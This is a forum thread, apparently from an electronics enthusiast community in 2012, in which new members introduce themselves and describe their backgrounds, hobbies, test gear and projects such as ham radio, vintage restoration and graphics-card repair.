Post by: WhatTheFlux on August 15, 2012, 01:11:39 pm
Hey all,  I'm not an EE or anything close,  but as a hobby I have been trying to restore vintage computers and video game systems.  I decided if I am going to do this (and maybe more) as a hobby,  I need to learn to do it right.   Look forward to absorbing as much information I can, and look forward in building my confidence when I attempt all of my future repairs.
Title: Re: New Member, Please introduce yourself
Post by: pinchies on August 16, 2012, 10:02:39 pm
Hello! Another aussie here. I've done one electronics subject at uni, love to mess around with electronics/mechatronics projects.
Title: Re: New Member, Please introduce yourself
Post by: maiakaat on August 16, 2012, 11:53:37 pm
Hi

I'm Jodi, my background is in software engineering (degree), although recently I have begun to explore embedded electronics again, and am re-learning the stuff I didn't learn or forgot from dropping out of my computer engineering course over a decade ago, fortunately I realised I could go back to Uni as an adult student. (I thought learning something like software or electronics was not possible if you were past a certain age for some reason) I'm planning to work with the Raspberry Pi on some projects, although my focus is likely to be on software in the future.

I wish the internet was widely accessible and well established when I was a teen. :O), I hope young adults and kids realise wheat they have, although I am glad that we had computing at least, being born in the 40's would be terrible.
Title: Re: New Member, Please introduce yourself
Post by: PA4TIM on August 18, 2012, 08:11:34 am
My name is Fred, i'm a HAM, pa4tim. 49 years old. My main intrest is in analog design, (micro) measurements, calibration, component behaviour and network analysis. I'm a fan of Jim Williams and Bob Pease. I like reading  a lot about analog desing and do many ( often unusual) measurement experiments. They vary from measuring the impedance of water up to trying to measure the skin effect on a bare wire, the complex impedance of batterys, but my favourites are capacitors. I can and have measured every aspect from them. Build my own fF meter and the next step will be aF.
I'm a member of some instrument groups on Yahoo, like the HP, GR , marconi, R&S and Tekscopes groups. Also very active on a Dutch forum called Circuits Online.

I collect, build, design and restore measusement gear.
I can measure uOhm to pOhm, pA tot A, aF to F, pH to H, nV to kV ect.
I have severals anlysers like 3 VNA's, several SA's, noiseanalyser ect
lots of scopes ( mini and maxi, 500 KHz tot 5 GHz) most of the big ones Tek mainframes. My only modern one is a 350MHz Hameg DSO ( my pride and joy after the disaster called Rigol DS1102 )

And about > 30 meters ( lost count) electrometers, spotgalvanometers, multimeters, powermeters, nuldetectors, ect, the oldest VTVM a 1948 GR1800 the newest DMM a Keithley 2000. Small simple analog meters from WW2 to things like simpson, unigor and AVO, digital from old 2,5 digit flukes to 7,5 digit solartron.

Lots of probes ( hi-Z, active, passive, current, HV ect)

Calibration gear ( guildline standard cells, 5 fluke and Philips calibrators, 3 kelvin varley dividers, ESI and GR standards)

Other stuff like pulsegenerators ( upto 250 MHz, sub-nano, HV) RF and function generators, curvetracer, powersuplys, lcr, esr meters

All sorts of bridges, most of then GR. (1620,1608,1650, marconi, boonton, HP)

One thing I must say, and not make friends with it I think:
I think am one of the few here that does not idolise cheap Chinese junk. I have not read all topics so i probably have the wrong picture , but that seems to be the only "nasty" tendency here. Lots of "fights" about which junk is the best, often based on nothing other then good looks or nice menus or compared to other junk ( sorry to say it like this) Probably because i am spoiled rotten working with quality stuff. ( old and new) i want to see in a test how accurate it is, what it does under changing temperature, or with half empty battery, or the noise level, channel separation, dead time, ect ect. Not if there is a dot instead of an invered cursor in a menu, if the pcb looks nice and if itis in a gift box ect.
For instance, the holy Rigol I had for two years. The probes went in the trashcsn after three months, the selectbutton worked half of the time after one and a half year and after it lost its triggerlevel knob i gave it away to a student with no budget. It just fell off like leaves in the authum, no wonder, a flimsy hollow shaft in a even thinner sleeve. Just plain old crap ( besides a high moise level, inaccurat measurements, the complete failure to capture runts, the jitter, the distorted waveforms in memory , things like Tr or amplitude that changes if you move the trace ect
 
Oh, be warned:
I can not give short answers  ;) they allways turn out a bit too long. Especially about scopes and multimeters and do

Do not mention the words ESR, capacitance or ESL in witch case i get over excited.

I came here after seeing some of steves videoblogs and alltough I have not seen all of them , I like them. He says what he thinks. Then while looking for info while repairing a PM2811 PSU i found this forum and decides to register.

So here I am.

Fred, PA4TIM.


Title: Re: New Member, Please introduce yourself
Post by: singera on August 18, 2012, 08:43:30 am
Hey my name is Arnon Singer, almost 31 years old, live in israel, just finished my B.sc at HIT (Holon Instatute of Technology), now I do some courses in high current and voltage systems to have 3*250A licence I will finish about almost a year from now, my gradute project will be "development and building DC motor separate excited speed control using arduino controller" I will use 0.5-4HP motors.

I work with electronics since age 8.

also in this days Iam looking for a DSO about 400$ include shipping to israel.
Title: Re: New Member, Please introduce yourself
Post by: AndyC_772 on August 18, 2012, 10:38:33 pm
Hi all,

I'm a professional electronic engineer based in the UK. I have a degree and have been doing electronics full time for the last 15 years. I had my first multimeter when I was about 7 years old, and electronics has always been the thing I'm reasonably good at which people will actually pay me to do. That simple fact pretty much set my career path!

Looking forward to browsing for ideas, and you never know, I might even be able to contribute something useful once in a while too.

Andy
Title: Re: New Member, Please introduce yourself
Post by: poptones on August 19, 2012, 06:38:59 am
Hello everyone! I'm a USian, been around the internets some years now and been an on again/off again engineer since I was 21 which was way more decades ago than I care to admit. Arrived here of course via the youtube channel, didn't even know this place existed until I saw Dave mention it in his latest drive time rant!

I have a long background in audio, dating back to my teenage years when I made a high end phono preamp. Did some massive posting on rahe, got courted by a couple of audio rags but I've recovered from all that and am focusing on the stuff that got me interested in electronics back when I was a kid - namely making cool stuff on a geurila budget. My latest projects involve music synthesizers, guitar amps and meditative instruments. I love analog electronics, working with vacuum tubes, and I love working with microcontrollers and - yes, Dave - programming in assembler!
Title: Re: New Member, Please introduce yourself
Post by: Ivanko1 on August 19, 2012, 10:53:43 am
Hi, my name is Ivan, i'm from Ukraine (Euro-2012, remember?:). I'm a beginner in radioelectronics.)))

P.s. Sorry for my bad english.)
Title: Re: New Member, Please introduce yourself
Post by: rocksoft on August 22, 2012, 07:58:39 pm
Hi, name is Liam an embedded software engineer 20+ years from the UK. Finally registered after buying a uCurrent.
Title: Re: New Member, Please introduce yourself
Post by: Trevor Matthews on August 22, 2012, 08:34:54 pm
Hi all

Been following Dave for a long time, you signed up on my forum once Dave 8)

I am a TV engineer in the UK. I run a forum for engineers at www.television-magazine-forum.co.uk (http://www.television-magazine-forum.co.uk)

I just published a review of the Mantis Elite that I have added to your Mantis post.

I am interested in all aspects of electronics but especially in trying to make much cheaper versions of BGA re-work equipment.
Us poor TV engineers can't afford the proper gear.  :'(
Title: Re: New Member, Please introduce yourself
Post by: furkan_aytac on August 23, 2012, 05:35:48 am
Hii everyone i am from Turkey.Electronics eng. student.I want to improve myself automotive.As you know there is a lot of electronic circiuts in cars.And with EVs the power electronic becomes more important.So especially i want microprocessors , microcontrollers and power electronic.I am open every assistance.Books,videos,suggestions,conversations....Thanx in advance...
Title: Re: New Member, Please introduce yourself
Post by: rjk5378 on August 23, 2012, 09:33:19 am
Hi. I'm Bob in Bethesda, Maryland (Washington DC area). I am a telecommunications attorney and an amateur radio licensee (KY3R), but still consider myself barely more than a beginner in electronics. Have been watching EEVBlog for several months now, and also went back and looked at most of the old ones from the beginning. Really like it. It is always entertaining, I have learned a great deal, but I must admit lots of times the stuff is over my head. But sometimes what is Greed to me one day, becomes crystal clear several weeks later once I learn more. Anyway, decided to see if I can figure out the forum and learn even more here--and, of course, have some fun. Thanks.
Title: Re: New Member, Please introduce yourself
Post by: Ultimation on August 25, 2012, 09:11:27 am
Yo

I'm Andy from England. I'm going into second year at the University of Surrey in Guildford, and have been working as an intern this summer at a EE consultancy.
Did A-level electronics, learned a fair bit, learnt the most at a few months at an intern ship though. Sort of makes the education seem a bit rubbish.
My blog is here. (http://ultimationee.blogspot.com) I really need to get it off blogspot at some point.

I love to design and build, personal projects as well as work/university, it's far easier to find the motivation to finish ones at work though...
Still learning a lot, but also know a lot. So yeah, Hi.

Title: Re: New Member, Please introduce yourself
Post by: Stephenniall on August 27, 2012, 06:54:03 am
Hey, I'm stephen. I'm 15 and from Manchester, In the UK.

Always trying to expand my knowledge !

Cheers,

Stephen
Title: Re: New Member, Please introduce yourself
Post by: frenky on August 29, 2012, 01:55:36 am
Hi I'm Frenky a web developer from Slovenia. I have some EE education and in my spare time I love to play with electronics...
Title: Re: New Member, Please introduce yourself
Post by: Daniyal on August 31, 2012, 08:59:54 pm
Hey all, This is Daniyal I'm a 4th year student at RMIT uni (Melbourne, AUS) studying electronics and communication engineering. I have been enjoying the blog for quite a bit of time and I also come to the forum some time, so I thought I should join the forum, anyway right now I'm at Augsburg, Germany doing a one year internship with Fujitsu, it's been pretty good except I studied more of the hardward stuff (like analog and digital circuits, RF circuits) at uni and thats where my interest is, but now I'm working at software R&D I don't know what to do or how should I think of this...   hope u all have a nice day :)
Title: Re: New Member, Please introduce yourself
Post by: cookie on August 31, 2012, 10:24:22 pm
hi everybody?I'm Maggie ,a student of  Université de Poitiers?located in Paris?No formal education in electric/electronics   but electronics is my hobby from early days....enjoying the blog
Title: Re: New Member, Please introduce yourself
Post by: firewalker on August 31, 2012, 10:28:49 pm
Welcome Maggie!

Alexander.
Title: Re: New Member, Please introduce yourself
Post by: tcort on August 31, 2012, 11:56:49 pm
Hi! I'm Tom. I'm a student in my final year of the Electronics Technology program at Heritage College in Gatineau, Quebec, Canada. I have a B.Sc. in Computer Science from Bishop's University, and I returned to school after a few years in the software industry to acquire the skills to enable me to get into embedded programming. I really enjoy watching the EEVBlog and listening to The Amp Hour podcast.
Title: Re: New Member, Please introduce yourself
Post by: wade on September 01, 2012, 08:02:37 am
Hello, I am Wade, a software architect and engineer for the last 16 years originally from New Orleans, LA but I've been residing in the outskirts of Austin, TX for the past 9 years. I have been dabbling with electronics on and off since I was a small child but never did anything too serious. Recently I have been studying electronics with great focus (finally) and I am having a wonderful time learning, very similar to my very early days of learning computer programming. I am finally "getting it." I am in the early stages of building out my electronics lab in the very same room where my computer lab / guitar workstation resides (my home office). Yes, I've been rocking out on guitar too for over 22 years, but I also love the technical side of guitars (mechanical and electronics), amps (especially valve amps), effects, signal processing, etc.

Dave, love the vblog! I've only recently discovered it a couple weeks ago and I've been watching back episodes like crazy. Very helpful in many ways. I feel like I've been drinking from the electronics information fire hose. Keep it up!

To everyone else, this seems like a great electronics community. I hope to contribute!

Thanks,
Wade
Title: Re: New Member, Please introduce yourself
Post by: nelson on September 01, 2012, 05:46:11 pm
Hello I'm Nelson from England. I'm 24 and a 2rd year student in power electronics.

Trying to expand my knowledge from here!

Thanks
Title: Re: New Member, Please introduce yourself
Post by: Stasiks on September 02, 2012, 11:54:46 am
Hi,
I am Martin from the Latvia , I am a wide range electronics of 10 years, forced to work as an electrician  :'( , since in the work is very much free time I have arranged good electronics lab  8)
Title: Re: New Member, Please introduce yourself
Post by: Topband RF on September 03, 2012, 08:03:25 pm
Hello to all on the EEVblog.

       A little insight to myself, I have been very interested in R.F. for almost 25 years. I am 36 years old and a FCC licensed amateur radio operator for almost 25 years at this point. I found my passion @ 11 years old.. and have been involved in one way or another from that point to today. I have dabbled in RF communication and minor experimentation any where from 1.8 Mhz to 24 ghz with limited microwave exposure (pun very much intended). I stumbled on the EEVblogs on youtube.. and have been watching many many of them for the past 3 or 4 days. It has sparked something inside me that has always been there yet I never perused it due to my lack of knowledge, education and other various reasons, and that is my desire to learn how to create, design, learn & implement some of my personal ideas into actual usable , proper functioning devices. I tend to read more than ask questions, which is a personal flaw of mine, when I don't understand a concept or 'rule' persay.. I generally don't lose interest , rather I just put it in the back of my head and say ' I'll keep this for later '

Hopefully out of this blog and others activities within, I will learn a few things, and be able to begin to embark on having a more solid understanding of how to actually create my ideas mainly for my own personal use.

Title: Re: New Member, Please introduce yourself
Post by: aep9690 on September 04, 2012, 03:20:50 am
Hey, I'm Andrew, an electrical engineer from Massachusetts.  I am getting my masters in Control Systems and Analog Circuit Design.
Title: Re: New Member, Please introduce yourself
Post by: electros6 on September 05, 2012, 12:48:21 pm
Hi guys,
     
             Can anybody give me a idea about the circuit I need. Here is the specs . The circuit should on when power up and give a single shot pulse of around 10 secs and the circuit should got into power down ie. it should not react until it get reseted. Guys sorry about my English.
     
                 Any idea Please let me know

 Dave sir I am a very big fan of yours. You are my first teacher of electronics after my Engineering degree. Please suggest me any idea about the circuit I mentioned above. Based on your power supply design project I already did a power supply based on atmega16 & LM317  and its works very fine. Now I am trying to do scope based on your MKIII  but the user interface is GLCD. Please bless me to finish my project because this is my dream project.

Title: Re: New Member, Please introduce yourself
Post by: martinuy on September 06, 2012, 11:06:44 am
Hello everybody!

I'm Martin From Uruguay (south america at the same latitude of Australia!)
I work with a lot of electronic stuff, especially industrial measuring instruments, and I like it!

I found this blog a few months ago, was the best find of the internet in a long time!

See you soon!
Title: Re: New Member, Please introduce yourself
Post by: redline on September 06, 2012, 11:18:52 am
hi Im Brendan from Brisbane (Australia). Im a IT tech and have been getting more into my DIY hobby stuff, Auto electrics and general fixing stuff for people. EEVblog has been renewing my passion for pulling things aparet to see how they work. and sometime fix them .. lol . After the printer/copier teardown a while back i pulled a multifunction printer apart just for fun ... was great.
Title: Re: New Member, Please introduce yourself
Post by: urosg on September 07, 2012, 05:11:21 pm
Hi all!

So the first post to EEVBlog Forum is a short introduction, as my username suggest my name is Uros and I come from Slovenia (not Slovakia), I've been dabbling with electronics a few years now as a hobby but my day job is computer programmer, so it's kind of a natural extension if you think about it ;)

Currently I'm mostly dealing with "prototypes" that I'm making, hopefully someday I'm gonna make something that doesn't finish in the waste bin.
Title: Re: New Member, Please introduce yourself
Post by: Oracle on September 10, 2012, 10:37:14 pm
Hi,

I'm Matthew, from Italy, I'm attending electrical school(last of 5 years) in Padua and I got 2 years electronic as subject, unfortunately i wasn't very good at it: new subject+ a severe teacher = 2/10 at my first test. The worst was that was only the first of a long series, when a day I was fed up to such a failure and i decided to make some projects and I started watching tutorials/video/how works thing like Ics and transistors(thanks Dave, you give me a real help) : after 1 month  i started to understand electronics, and finally i succeeded at school...and i had take electronic as my hobby because i realized you can do everything, (whit the right knowledge) .. Anyway my dream is to build up an electronic lab, but is really expansive, and I don't have enough money right now....

P.s: sorry if i didn't write my first post here, but i didn't see this topic...
Title: Re: New Member, Please introduce yourself
Post by: psycho0815 on September 11, 2012, 02:41:52 am
Well then,
I'm Harm from Germany and my dayjob is software engineer, so branching out to microcontroller came kinda naturally. Lately i've been looking more into more classic electronicsstuff and i'm slowly getting more and more equipment and lots of projects. Hopefully i'll eventualy finish one of them.
Title: Re: New Member, Please introduce yourself
Post by: Alana on September 13, 2012, 01:48:51 am
Anna from Poland.
Up until recently electronics was mainly a hobby from childhood and highschool times so i'm kinda expirienced with low cost DIY stuff. My daily job is PC and network fix-it-please girl but i'm thinking of going into electronics full time.
Title: Re: New Member, Please introduce yourself
Post by: tron9000 on September 13, 2012, 08:09:02 am
Hello I'm Chris. I'm an electronic engineer in yorkshire england. I've worked on welders, operated and maintained giant ferris wheel, wired and assembled components for submersibles and underwater ROV's.

Currently designing electronics for analytical equipment. can't say too much! :-X

My second hobby is fixing and driving my landrover in offroad trails, good clean fun!!  ;D

Been a long time viewer of the EEVBlog, right interesting! Hopefully pick up some tips and offer some advice.

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: M0BSW on September 15, 2012, 10:13:59 pm
 Hello Everyone,
My name is Paul I live in the city of Peterborough UK,I've been a radio amatuer for some Years done the morse code test for the HF licence, I have spent several of those years building antennas  ,antenna tuning units, baluns, & some audio filters, I have in the past 5 Years become more & more interested in Electronics and the building repairing side of the hobby, which  has brought me to this forum after watching Dave on You Tube & subscribing to it.
I've only got the really basic equipment Telequipment D61 A scope which I was given :), Black-Star function Generator, 5001 Universal frequency counter, my home made scope component tester following the design of W2AEW, which is my favourite piece of gear at the moment.
I have collected several meters over the years including one for inductance, and  another for capacitance/HZ I musn't forget my Velleman 5 mhz personal scope I believe its called supposed to be like a full scope , but in hand held form?, works OK though,.
So with your advice and help . I hope to become more proficient which this side of our wonderful hobby, hope I havent bored you to tears & Drink., Never said so much about  me, and its uncomfortable to.
That's it
so " Hello "
Title: Re: New Member, Please introduce yourself
Post by: LDSisHere on September 16, 2012, 12:42:03 am
Hello,

My name is Lloyd and I live in Clarksville, TN in the US.  I have a B.S. in Computer Science with a minor in Engineering Technology.  In my spare time I like working with, building, and repairing electronic devices.  I sometimes do microcontroller programming/projects, etch my own circuit boards, computer repair, etc.  I was referred to a thread in this forum by RetiredCaps from the “BadCaps.net” forum and I liked what I saw here and thought I should join.  I am sure I will be able to learn a lot here and hopefully I will occasionally know something useful that will help others.  If anyone needs help with their Alienware FX chips or want to know about Dell power adapters to laptop communication I may can help, but I do not claim to be an expert.  Thanks for reading.
Title: Re: New Member, Please introduce yourself
Post by: iloveelectronics on September 16, 2012, 02:08:47 pm
Hello all,

My name is Frank and I'm from Hong Kong. I have no formal electronics training background and am just a hobbyist. I used to build stuff like radios and amplifiers from schematics I found in magazines and books when I was a teenager (a couple of decades ago!) but never understood why or how things worked. Now with this inter web thingy learning becomes a lot easier and I got hooked again to this long lost hobby!

Being located in this part of the world means I have access to a lot of cheap (albeit low quality in most instances) electronics components and equipments, which doesn't help the addiction to buy more and more stuff I don't really need... I literally only have a "work bench" about 2 x 1 feet so I think I'm going to have to give away some stuff! I'll save this topic for another day.

Anyway, I thought I'd just pop in to say hi. If anyone needs help with Chinese made products (finding/buying or understanding instructions etc) I'd be happy to help. I read/write reasonable English (or so I'd like to believe anyway) so I hope I could be of some level of help to this wonderful community.

Cheers,
Frank
Title: Re: New Member, Please introduce yourself
Post by: maor on September 17, 2012, 12:50:16 am
Hi!
My name is Maor Malka, and I'm studying practical engineering in Israel.
I started at electronics at the age of 14, the little craze when I first lit a led on a breadboard got me quite exited.
since then I studied at high school Electronics, Computers and Physics and now I study practical engineering at college.
Now I'm at my last trimester in practical engineering, during this time I am also working at a music store repairing guitars, amps and other electrical equipment

I'm now working on my final project in 14th grade practical engineering which will be an fpga based fiber optics communication interface.

I found the eevblog a couple of months ago and I have decided to join up.

So..., It's nice to meet you everyone!
Title: Re: New Member, Please introduce yourself
Post by: Pagweb on September 17, 2012, 10:59:10 am
Greetings,

My name is Marcos and I'm a Computer Science and Engineering Student at Florida Atlantic University. Electronics is not a core part of my degree but I've always been interested and became a hobbyist a few years ago after reading some literature about basic electronics. I can build simple circuit from scratch and I'm currently working on building my own power supply.

I've been following the eevblog on youtube since 2010, but it's not until now that I became a member of the forum. Hopefully I can learn new stuff from the pros here.

Anyway, that's just something about me.
I'll see ya around...
Title: Re: New Member, Please introduce yourself
Post by: swifty01 on September 18, 2012, 04:42:31 pm
Hi all. My Name is Paul. been working in electronice for well over 40 years now. I enjoy radio (G0MIH) and communications and probegation. I have a long and wasted Ph.D in those old things that glow in the dark. Sadly no longer used well not much anyway.
Title: Re: New Member, Please introduce yourself
Post by: andreicek on September 18, 2012, 05:22:03 pm
Hi all! My name is Andrei and I am from Croatia. EE is my exclusively my hobby since I am studying politics  :).
I am interested in Arduino and ATtiny chips. All what I've learnt about EE is from Internet, school books and bits and pieces from older friends.

I've been following EEVblog on YouTube for a couple of months now!

I hope to see you all soon over here!
Title: Re: New Member, Please introduce yourself
Post by: D design on September 26, 2012, 02:38:44 pm
Hello, I'm Nathaniel and Im intrestied in everything electronic. Im quite a noob so dont know much but willing to learn. I just make hobbiest kits ect. I want to get into PIC/Arduno programming.
Title: Re: New Member, Please introduce yourself
Post by: ONe HuNg lOW on September 27, 2012, 04:39:46 am
From America and I have been following this blog for about 1 and half.  I like most of his episodes but he keeps making fun of me.   ;D  Anyways I would like to know if anyone can help me find a blog on RF circuitry since Dave is really into quality and digital circuitry.
Title: Re: New Member, Please introduce yourself
Post by: smugtronix on September 27, 2012, 06:28:38 am
I'm Ross, from the US. I'm a senior in high school, currently knee-deep in the college process. If all goes well, this time next year I should be studying EE at (insert decent to above average university here). I started out building out guitar effects on Veroboard, and now while that's all fun and good, in the grand scheme of learning electronics, it only teaches you the absolute basics (how resistors, capacitors, op-amps, stuff like that work). I think I'm ready to learn a bit more.
Title: Re: New Member, Please introduce yourself
Post by: Tuomas on September 27, 2012, 07:04:00 pm
I'm Tuomas and I'm close to finishing my Bachelor's degree in embedded systems here in Finland and I do a lot of electronics on my spare time aswell. Some tidbits of information:
- Always looking to learn more about anything related to electronics.
- Full time Linux user/fanatic.
- Big fan of open source and open source hardware movements, but I try to be aware of their problems awell.
- I like AVRs, dislike Arduino.
Title: Re: New Member, Please introduce yourself
Post by: ONe HuNg lOW on September 28, 2012, 09:58:37 am
Whats up with everyone mad at me!  It's just my name and I try my best to design electronics, LOL
Title: Re: New Member, Please introduce yourself
Post by: andete on September 30, 2012, 04:44:59 pm
Hi,

I'm a Computer Scientist who has taken up electronics the last 2 years and really enjoys designing circuits, LED drivers, microcontrollers, ...
Besides electronics I enjoy playing with programming languages, photography and gardening.
I've been mostly lurking here for knowledge, but hope to use the forum more actively as I don't know many other people with a big interest in EE.

Joost
Title: Re: New Member, Please introduce yourself
Post by: Beef Supreme on September 30, 2012, 11:33:57 pm
hi, my name is philippe, im from germany and i dropped university about 2 years ago. i was studding technical informatics. i was just too lazy so i had to leave but it was okey.

my main hobbys are cutting some big vrm's from one computerpart to put it to another. what i do is related to improve overclocking graphics cards. im doing this not only for me, i do it for a forum and the guys there. and maybe a little bit for my satisfaction.

here is grafics card from nvidia, called gtx 295, only the vrm survived. it has 3 powerstages from volterra which can handle about 40 amps and about 2volts. so its output is about 240watts. the datasheets are unter n.d.a. but you know  ;)
http://www.abload.de/img/dscn59950mqss.jpg (http://www.abload.de/img/dscn59950mqss.jpg)

here is the other grafics card, a 8800gts from nvdia. this card had a few burned powermosfets. some big wires are need to feed the card because a lot of amps cause a voltage drop over the wires resistance.
http://www.abload.de/img/dscn6036wjrfa.jpg (http://www.abload.de/img/dscn6036wjrfa.jpg)

after i replaced the dead vrm part its running again. i mean there were some more steps and secrets involved but the result is perfect.
http://www.abload.de/img/dscn6046x0q95.jpg (http://www.abload.de/img/dscn6046x0q95.jpg)

thats what iam doing.

heres another work.
http://www.abload.de/img/dscn605924xtu.jpg (http://www.abload.de/img/dscn605924xtu.jpg)


i found dave's blog just by accident. ;D

btw, no doubt, my equipment is cheap-o but its working, i also have to affort the dead hardware, cuz some working parts could hurt me about 1000$.

so. here i am. :)
Title: Re: New Member, Please introduce yourself
Post by: WA5DC on October 01, 2012, 03:31:13 am
Hello from Houston, Texas. My name is Bill. I have been working as an electrical technician for 30 years and have been a licensed Ham for 21 years. I started out in consumer electronics, specializing in two way radio. Last 18 years have been in the industrial environment, process control and robotics. I maintain a lab similar to Dave's at my home. I am always testing some type of instrumentation device or tearing down failed devices to learn more about cause and effect. You can never stop learning.
Title: Re: New Member, Please introduce yourself
Post by: TheBrick on October 04, 2012, 05:21:26 am
Not an EE my any stretch. Stumbled into the game for fun due to having to interface with some hardware via modbus at work, started to gain an interest and want to learn more.
Title: Re: New Member, Please introduce yourself
Post by: RyanMatthew on October 04, 2012, 05:53:53 pm
Hi Friends !!! 8)

Congratulation to all of you. I'm new member join in this forum. I will introduce myself. My name is Ryan Matthew, This is my first-post. I am interested in this board it is important topic to be discussed. I like to join in this forum to meet friends share my thoughts and gain some knowledge through this forums, I have a lot of knowledge about Electronics Manufacturing Service. Please let me know if you have any specific questions and i will answer for you. I hope all friends will corporate with me.

I am waiting for your reply.

Thank you.
Ryan Matthew
Title: Re: New Member, Please introduce yourself
Post by: HVAC Guy on October 05, 2012, 09:20:56 am
Hi, my name is Paul and I am from the Capital area (Albany) of New York state in the US. I work as an HVAC tech and found this while researching some new equipment for work. I don't know much about electronics but I always like to learn new things. I currenrly use a Fluke 116 and 321 for work and was interested in learning more about them. I hope you guys can excuse my stupid questions without making too much fun of me.
Title: Re: New Member, Please introduce yourself
Post by: davefromamericanotaustria on October 05, 2012, 11:03:09 am
Hello! I've been following that crazy bloke from Australia (not Austria) for well over a year now. Although I have a degree in electrical engineering, I actually run a plumbing & mechanical contracting business near Chicago, Illinois, USA. It's hard to believe how much 1) I've learned from Dave and 2) that I failed to learn in college! Just spent <$9 (including postage) on capacitors to fix my $2,000 refrigerator's $175 control board.  The 'fridge happened to crap out shortly after I watched Dave's flat-screen-saving dumpster diving adventure, so it was no surprise at all to see a few bulging one-hung-low (or as I like to call them, Long Duk Dong) electrolytics.  Pain in the ass to remove the conformal coating to change out the caps, but the 'fridge is now happily humming along, good as new.  Thanks Dave!  I'm looking forward to seeing what goes on in the famous EEVBlog Forum...  Cheers!
Title: Re: New Member, Please introduce yourself
Post by: midasgossye on October 06, 2012, 08:40:42 pm
Hi, I'm Midas from Belgium and I'm very interested in electronics.
I'm following dave for 2 months now, and i think i've seen all of his video's! :D

I study industrial science in high school.
I'm also interested in arduino and beaglebone.
I've been busy on a project, it's called the Bikeduino and you can read more about it here http://www.instructables.com/id/BIKEDUINO-Stopping-Point-Predictor-for-bike-ri/ (http://www.instructables.com/id/BIKEDUINO-Stopping-Point-Predictor-for-bike-ri/).
We have won the challenge with our project and got an arduino mega ADK.

So, this was my introduction.
Hope you liked it!

Greetings,
Midas
Title: Re: New Member, Please introduce yourself
Post by: DL8RI on October 06, 2012, 11:43:24 pm
Hi,

my name is Martin and I'm from Germany.
Right now I study MSc. Electrical-Engineering (Communications/RF) at a University here... I'm into electronics since... well... since ever... maybe :D

At the moment I'm rebuilding my lab/mancave/junkyard (depends who you ask ;) ), so it's quite messy (sorry for that):

(http://www.abload.de/thumb/werkstattdkqpp.jpg) (http://www.abload.de/image.php?img=werkstattdkqpp.jpg) (http://www.abload.de/thumb/werkstatt2wgry1.jpg) (http://www.abload.de/image.php?img=werkstatt2wgry1.jpg)

I have quite a lot RF-Stuff for HAM-Applications... mostly from Rohde & Schwarz... But also Audio, Digital and other things.
Over the years it's accumulated to a rather wide "collection" of nearly all major Brands of Test-Equipment. There are some rather seldom sold units like the ESI "Video Bridge" 2110 RLC-Meter. Because of this, a complete description of Everything would be quite a lot of work... if someone is interested in a specific instrument just ask, I will write something :)

73
Martin
Title: Re: New Member, Please introduce yourself
Post by: zorthgo on October 08, 2012, 01:05:55 am
      Hi everybody! Let me introduce myself. My name is Jay and I stumbled upon Dave's blog about 8 months ago when I was searching for material on how to solder components on a PCB. Have been following his blog ever since (LOVE YOUR BLOG DAVE). I am currently a Computer Engineering senior at Florida Atlantic University here in the US, and about to start on my masters. Frankly I thought I would be building giant robots to conquer the world by now (LOL!). But in reality I have all this theoretical knowledge but not enough practical experience. So, I've decided to take matters into my own hands by build my very own electronics lab and start doing some projects on my own. Hurraaay! Wish me luck! And see you guys around the forum!  ;)
Title: Re: New Member, Please introduce yourself
Post by: repo on October 08, 2012, 01:43:21 am
Hulloh everyone!

I'm Peter, and I live in Helsinki, Finland.

I'm an electronics hobbyist, and general maker and tinkerer. I haven't done any electronics for the last, oh, at least a year, probably more, being busy with other stuff (woodworking and blacksmithing, mostly). I've been watching the EEVblog regularly though, which never fails to be interesting and entertaining. Then the other day while cleaning I found some old unfinished projects -- a bench power supply that's otherwise complete but needs to be cased up, and a half-finished Arduinome (http://en.wikipedia.org/wiki/Arduinome) that I think I got the first parts for back in 2008, hah! Felt inspired, so I decided to dive back in, and sign up here while I'm at it!

I'm a pretty dedicated treehugger, so I'm mostly interested in various sorts of "green" projects, appropriate technology and that sort of thing. You're more likely to find me hacking something together from salvaged parts than designing my own PCBs, basically. I work as a graphic artist, but one of the nice perks about the job is that there's a lot of old computer hardware and electronics floating around at my workplace, and if I find something useful I'm more than happy to fish it out of the trash and give it a new life. I'll probably end up posting some of that in the future.

Cheers!
- Peter
Title: Re: New Member, Please introduce yourself
Post by: necroscope on October 08, 2012, 11:28:21 pm
Hi my name is Ben,i am from australia,I am a beginner in electronics and have developed a passion for the hobby by slowly learning to fix the pcb's in my old arcade machines over the last few years,I am at the point where i am just about to buy my first scope and Just about to build my first kit a silicon chip ESR meter,Decided i needed one after watching dave's you tube video on fixing the lcd monitor(Btw dave if you read this I love your video blogs mate and i am an avid follower hope you keep them up) Anyway i joined the forum to learn so i guess i better get reading.
Title: Re: New Member, Please introduce yourself
Post by: trilium on October 09, 2012, 09:09:04 pm
Greetings!  Watching EEVblog on youtube inspired me to get back into school and finish my computer engineering degree!  So now here I am, back in lovely Utica, NY.  90% of the stuff that gets discussed goes right over my head, but hopefully I'm not so rusty that I'll be ignorant of it forever.
Title: Re: New Member, Please introduce yourself
Post by: hp-ph on October 10, 2012, 04:09:40 am
Hello,I'm from Slovenia and one of my hobby is also to repair musical instruments,like keyboard and digital pianos.
Title: Re: New Member, Please introduce yourself
Post by: Mehran on October 10, 2012, 07:49:05 am
Hi guys

i am a gas engineer in the UK, love that crazy aussie bloke. hope to get some help doing some electronics!
Title: Re: New Member, Please introduce yourself
Post by: loscha on October 14, 2012, 10:51:54 am
Edward
Noble Park, Victoria.
34.
Hobbyist. Never finished that degree in TAFE, got sick.

Primary interests: Musical synthesizers and other equipment from the early to late 80s (Casios and Yamahas a specialty), Guitar pedals, modern equipment, too.

I got my first job (not Electronics related) by answering the question why I really wanted the job by saying "I want to buy more shit that plugs into other shit".
Title: Re: New Member, Please introduce yourself
Post by: Martin.M on October 14, 2012, 03:58:03 pm
hello from germany.

My hobby is the care and collecting of old glowing test gear, specially Scopes, a lot of Tek Scopes.

greetings
Martin
Title: Re: New Member, Please introduce yourself
Post by: KF5OBS on October 15, 2012, 12:48:06 pm
Hey everyone,

my name is Sebastian, I am 24 years young and I am - just like most of you - an electronics enthusiast. I love RF and RF related topics. My username, KF5OBS,is my amateur radio call-sign. I build most of my amateur radio gear myself and I am not afraid of DIY projects with very high frequencies. My highest accomplishment is the 10 GHz amateur radio band so far.

